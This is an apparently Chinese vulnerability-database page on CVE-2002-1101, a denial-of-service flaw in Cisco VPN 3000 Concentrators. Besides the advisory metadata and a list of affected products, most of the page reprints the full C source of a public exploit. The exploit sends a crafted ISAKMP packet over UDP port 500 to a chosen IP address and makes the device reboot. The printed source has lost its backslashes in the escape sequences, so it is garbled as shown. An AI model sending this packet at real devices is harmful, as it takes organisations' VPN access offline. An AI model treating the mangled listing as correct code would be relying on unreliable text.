Cisco VPN 3000 Concentrator拒绝服务漏洞
漏洞ID | 1106955 | 漏洞类型 | 未知 |
发布时间 | 2002-09-03 | 更新时间 | 2002-10-04 |
CVE编号 | CVE-2002-1101 |
CNNVD-ID | CNNVD-200210-062 |
漏洞平台 | Hardware | CVSS评分 | 5.0 |
|漏洞来源
|漏洞详情
CiscoVPN3000Concentrator2.2.x版本,3.6(Rel)版本,以及3.5.5之前的3.x版本存在漏洞。远程攻击者可以借助一个超长用户名导致服务拒绝。
|漏洞EXP
source: http://www.securityfocus.com/bid/5620/info
Cisco VPN 3000 series concentrators are prone to a denial of service condition when receiving an overly long username string during authentication from a VPN client.
Successful exploitation will cause the device to reload.
/* ISAKMP Cisco VPN Concentrator DoS
* by nowin of Phenoelit <[email protected]>
* FX of Phenoelit <[email protected]>
* http://www.phenoelit.de
* (C) 2002
*
* Cisco VPN Concentrator 3000 Series, Software <=3.6.0
* Single Packet Denial of Service.
* The device will reboot upon receiving this packet.
* This is probalby exploitable, but we don't have a Concentrator to test.
*
* Greets are in the packet.
*/
#include <stdio.h>
#include <stdlib.h>
#include <netinet/in.h>
#include <unistd.h>
#include <string.h>
#include <netinet/in.h>
#include <netdb.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <errno.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <fcntl.h>
#include <time.h>
#define SPLASH
"Phenoelit Cisco VPN Killern"
" Cisco VPN Concentrator 3000 DoS (3.6.0 and below)n"
" (C) 2002 - nowin of Phenoelit <[email protected]>n"
" FX of Phenoelit <[email protected]>n"
struct {
struct in_addr dest;
int sfd;
} cfg;
void *smalloc(size_t s);
int send500(char *packet, int len);
char fixed_ISAKMP[] =
"xf0x0dxf0x0dxf0x0dxf0x0dx00x00x00x00x00x00x00x00x01"
"x10x04x00x00x00x00x00x00x00x0FxFFx04x00x01x34x00x00"
"x00x01x00x00x00x01x00x00x01x28x01x01x00x08x03x00x00"
"x24x01x01x00x00x80x01x00x05x80x02x00x02x80x04x00x02"
"x80x03xfdxe9x80x0bx00x01x00x0cx00x04x00x20xc4x9bx03"
"x00x00x24x02x01x00x00x80x01x00x05x80x02x00x01x80x04"
"x00x02x80x03xfdxe9x80x0bx00x01x00x0cx00x04x00x20xc4"
"x9bx03x00x00x24x03x01x00x00x80x01x00x05x80x02x00x02"
"x80x04x00x02x80x03x00x01x80x0bx00x01x00x0cx00x04x00"
"x20xc4x9bx03x00x00x24x04x01x00x00x80x01x00x05x80x02"
"x00x01x80x04x00x02x80x03x00x01x80x0bx00x01x00x0cx00"
"x04x00x20xc4x9bx03x00x00x24x01x01x00x00x80x01x00x01"
"x80x02x00x02x80x04x00x02x80x03xfdxe9x80x0bx00x01x00"
"x0cx00x04x00x20xc4x9bx03x00x00x24x02x01x00x00x80x01"
"x00x01x80x02x00x01x80x04x00x02x80x03xfdxe9x80x0bx00"
"x01x00x0cx00x04x00x20xc4x9bx03x00x00x24x03x01x00x00"
"x80x01x00x01x80x02x00x02x80x04x00x02x80x03x00x01x80"
"x0bx00x01x00x0cx00x04x00x20xc4x9bx00x00x00x24x04x01"
"x00x00x80x01x00x01x80x02x00x01x80x04x00x02x80x03x00"
"x01x80x0bx00x01x00x0cx00x04x00x20xc4x9bx0ax00x00x84"
"x41x6Ex64x20x50x68x65x6Ex6Fx65x6Cx69x74x20x73x61x79"
"x73x3Ax20x54x68x69x73x20x62x75x67x20x69x73x20x61x77"
"x61x72x64x65x64x20x74x6Fx20x53x65x61x6Ex20x43x6Fx6E"
"x76x65x72x79x20x66x6Fx72x20x65x78x63x65x6Cx6Cx65x6E"
"x63x65x20x69x6Ex20x63x6Fx70x79x20x61x6Ex64x20x70x61"
"x73x74x65x2Ex20x47x72x65x65x74x73x3Ax20x48x61x6Cx76"
"x61x72x2Cx52x69x6Cx65x79x2Cx4Ex69x63x6Fx26x53x65x62"
"x61x73x74x69x65x6Ex2Ex2Ex2E"
"x05x00x00x18 -==| PHENOELIT |==-"
"x00x00x00x04x0bx11x01xf4 Eat this and die!"
;
int main(int argc, char **argv) {
char option;
extern char *optarg;
int plen;
char *c;
printf("%sn",SPLASH);
memset(&cfg,0,sizeof(cfg));
while ((option=getopt(argc,argv,"d:"))!=EOF) {
switch (option) {
case 'd': if (inet_aton(optarg,&(cfg.dest))==0) {
fprintf(stderr,"Address of -d argument not IPn");
return (1);
}
break;
default: fprintf(stderr,"%s -d <ip_address>n",argv[0]);
return (1);
}
}
if (!(*((u_int32_t *)&(cfg.dest)))) {
fprintf(stderr,"%s -d <ip_address>n",argv[0]);
return (1);
}
plen=sizeof(fixed_ISAKMP)-1;
c=(char *)smalloc(plen);
memcpy(c,fixed_ISAKMP,sizeof(fixed_ISAKMP)-1);
send500(c,plen);
printf("Packet sent.n");
free (c);
return 0;
}
int send500(char *packet, int len) {
struct sockaddr_in sin;
if ((cfg.sfd=socket(PF_INET,SOCK_DGRAM,IPPROTO_UDP))<0) {
perror("socket()");
return (-1);
}
memset(&sin,0,sizeof(struct sockaddr_in));
sin.sin_family=PF_INET;
sin.sin_port=htons(500);
memcpy(&(sin.sin_addr),&(cfg.dest),sizeof(sin.sin_addr));
if (sendto(cfg.sfd,packet,len,0,
(struct sockaddr *)&sin,
sizeof(struct sockaddr_in))<=0) {
perror("sendto()");
return (-1);
}
return (0);
}
void *smalloc(size_t s) {
void *p;
if ((p=malloc(s))==NULL) {
fprintf(stderr,"smalloc(): fatal! Allocation of %u bytes failedn",s);
exit (-1);
}
memset(p,0,s);
return p;
}
|受影响的产品
Cisco VPN 3002 Hardware Client
Cisco VPN 3000 Concentrator 3.5.4
Cisco VPN 3000 Concentrator 3.5.3
Cisco VPN 3000 Concentrator 3.5.2
Cisco VPN 3000 Concentrator 3.5.1
Ci
|参考资料
来源:CISCO
名称:20020903CiscoVPN3000ConcentratorMultipleVulnerabilities
链接:http://www.cisco.com/warp/public/707/vpn3k-multiple-vuln-pub.shtml
相关推荐: SCO UnixWare uucp Buffer Overflow Vulnerability
SCO UnixWare uucp Buffer Overflow Vulnerability 漏洞ID 1103124 漏洞类型 Boundary Condition Error 发布时间 2001-06-26 更新时间 2001-06-26 CVE编号 N…
© 版权声明
文章版权归作者所有,未经允许请勿转载。
THE END
喜欢就支持一下吧
恐龙抗狼扛1年前0
kankan啊啊啊啊3年前0
66666666666666